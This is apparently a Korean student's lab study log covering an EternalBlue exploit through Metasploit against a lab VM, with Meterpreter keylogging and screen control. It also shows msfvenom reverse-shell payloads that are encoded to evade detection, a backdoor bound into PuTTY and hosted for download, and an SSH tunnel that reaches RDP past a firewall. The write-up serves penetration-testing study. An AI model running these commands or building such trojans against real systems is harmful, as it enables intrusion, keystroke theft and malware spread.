📋 학습 요약
- 주제: SMBv1 취약점(MS17-010)을 활용한 침투 프로세스 이해 및 msfvenom 기반 맞춤형 악성 페이로드 제작 기법 실습
- 환경: Kali Linux, Metasploit Framework, 타깃 가상머신 (10.0.0.31)
- 핵심 목표: 모의침투의 4대 프로세스(스캔 → 침투 → 권한 이관 → 포스트 익스플로잇)를 완벽히 이해하고, 인코딩을 활용한 탐지 우회와 웹 서버를 통한 유포 및 SSH 로컬 포트 포워딩 기법을 검증한다.
💻 1. MS17-010 (EternalBlue) 실습 프로세스 분석
Windows의 SMBv1 프로토콜 취약점을 이용하는 대표적인 고전 익스플로잇으로, 공격 전반의 라이프사이클을 이해하는 교과서적인 실습을 진행했습니다.
# 1. 취약점 스캔 (타깃 확인)
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.31
run
# * Host is likely VULNERABLE 메시지 확인 시 공격 가능 상태
# 2. 익스플로잇 실행 (침투)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.31
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.41 # 공격자 IP
exploit
# * 성공 시 'meterpreter >' 프롬프트 진입
📌 포스트 익스플로잇 (Post-Exploit) 및 세션 관리
침투에 성공한 뒤, 시스템 권한 유지와 사용자 행위 모니터링을 위해 프로세스 이관 및 키로깅을 수행합니다.
# 3. 프로세스 이관 (권한 안정화 및 세션 이동)
meterpreter > ps
meterpreter > migrate [explorer.exe의_PID]
# * SYSTEM 권한에서 사용자 세션인 explorer.exe로 이동해야 실제 키로깅(Keylogging)이 가능합니다.
# 4. 키로깅 및 화면 제어
meterpreter > keyscan_start # 키로깅 시작
meterpreter > keyscan_dump # 입력된 키값 출력
meterpreter > keyscan_stop # 키로깅 중지
meterpreter > screenshare # 실시간 화면 공유 및 원격 제어
💻 2. Msfvenom을 활용한 Trojan(트로이 목마) 및 인코딩 페이로드 제작
보안 솔루션의 탐지를 우회하고 정상 파일에 악성 코드를 인젝션하기 위해 msfvenom 도구를 활용한 심화 실습을 진행했습니다.
2.1 단독 실행형 리버스 커넥션 페이로드 생성
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.41 LPORT=60020 -f exe -e x64/zutto_dekiru -i 3 -o /root/chrome.exe
- 옵션 분석: -a x64 (아키텍처), --platform windows (대상 OS), -e x64/zutto_dekiru (인코더 지정), -i 3 (3회 반복 인코딩을 통한 시그니처 은닉), -o (출력 파일명).
2.2 정상 파일(PuTTY) 바인딩 및 백도어 은닉
정상적인 프로그램 기능은 그대로 유지하면서 백그라운드에서 Meterpreter 세션을 연결하는 고도화된 트로이목마 기법입니다.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.41 LPORT=60060 \
--platform windows -a x64 -x putty.exe -k -e x64/zutto_dekiru -i 3 -f exe -o /var/www/html/down/putty.exe
- -x putty.exe: 원본 원격 접속 툴인 putty.exe를 템플릿으로 지정합니다.
- -k: 템플릿 파일이 정상 실행될 때 별도의 쓰레드로 페이로드를 실행하여 사용자의 의심을 회피합니다.
- 생성된 파일을 Kali 내장 웹 서버 경로(/var/www/html/down/)에 배치하여 타깃이 다운로드하도록 유도합니다.
2.3 Apache 웹 서버 설정 및 핸들러 대기
# 공격자 아파치 웹 서버 정보 은닉 및 디렉터리 접근 제어 설정
vi /etc/apache2/sites-enabled/000-default.conf
vi /etc/apache2/conf-enabled/security.conf
# 생성한 악성 페이로드의 연결을 대기하는 멀티 핸들러 구동
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.41
set LPORT 60060
exploit
🌐 3. SSH 로컬 포트 포워딩 (SSH Tunneling)
외부 방화벽이 타깃 서버의 원격 데스크톱(RDP, 3389)을 차단하고 있더라도, 신뢰된 SSH 포트(22)를 경유하여 내부 자원에 우회 접근하는 터널링 실습입니다.
ssh -L 60010:10.0.0.31:3389 vagrant@10.0.0.31
- 개념: 로컬 PC(공격자)의 60010 포트로 들어오는 모든 트래픽을 SSH 터널을 통해 타깃 서버(10.0.0.31)의 3389 포트로 안전하게 포워딩(L)합니다. 이를 통해 공격자는 localhost:60010으로 접속하여 차단된 RDP 서비스를 이용할 수 있습니다.
🛠️ 주요 체크포인트 및 요약 표
| 실습 영역 | 사용 도구 / 명령어 | 핵심 포인트 및 메커니즘 |
| 취약점 진단 | smb_ms17_010, eternalblue | Windows SMBv1 메시지 처리 취약점 악용 |
| 권한 이관 | migrate [PID] | SYSTEM 권한에서 explorer.exe로 이동해 키로깅 활성화 |
| 페이로드 생성 | msfvenom | 악성 행위를 수행할 실행 파일(EXE) 생성 도구 |
| 탐지 우회 | -e x64/zutto_dekiru -i 3 | 시그니처 기반 탐지를 피하기 위한 인코딩 기법 |
| 트로이목마 | -x putty.exe -k | 정상 프로그램 실행 흐름을 해치지 않고 백도어 구동 |
| 방화벽 우회 | ssh -L [로컬포트]:[타깃IP]:[타깃포트] | SSH 암호화 채널을 활용한 서비스 바이패스 |
📝 오늘의 회고
오늘은 워너크라이(WannaCry) 사태를 촉발했던 전설적인 취약점 **MS17-010(EternalBlue)**을 활용해 실제 침투부터 권한 이관, 그리고 포스트 익스플로잇 단계인 키로깅과 화면 제어까지 침투 테스트의 전체 라이프사이클을 교과서적으로 경험할 수 있었다.
또한 msfvenom을 활용하여 정상 파일인 PuTTY에 악성 페이로드를 바인딩하고 다중 인코딩하는 실습을 통해, 사용자가 신뢰하는 실행 파일도 완벽한 백도어가 될 수 있음을 확인했다. 방화벽 뒤에 숨겨진 자원을 SSH 포트 포워딩으로 끌어오는 기법까지 마스터한 만큼, 인프라 방어 대책을 수립할 때 내부망 트래픽의 암호화 캡슐화 우회 시도까지 면밀히 모니터링할 수 있는 깊이 있는 시야를 가져야겠다고 다짐했다.
'매일 배운 것 정리' 카테고리의 다른 글
| [260527] Azure 클라우드 아키텍처 인프라 설계 및 Terraform을 이용한 IaC 구현 (0) | 2026.05.27 |
|---|---|
| [260526] 클라우드(Cloud) 컴퓨팅 핵심 이론 (0) | 2026.05.26 |
| [260529] Azure 테라폼(Terraform) 실습: NSG 보안 규칙, NAT 게이트웨이 연동 및 Rocky Linux VM 자동화 배포 (0) | 2026.05.21 |
| [260528] Azure 클라우드 아키텍처: VNet 피어링(Peering)을 통한 가상 네트워크 간 연동 실습 (0) | 2026.05.21 |
| [260515] Windows Server: 그룹 정책(GPO) 심화 및 로밍 프로필(Roaming Profile) 실습 (0) | 2026.05.15 |
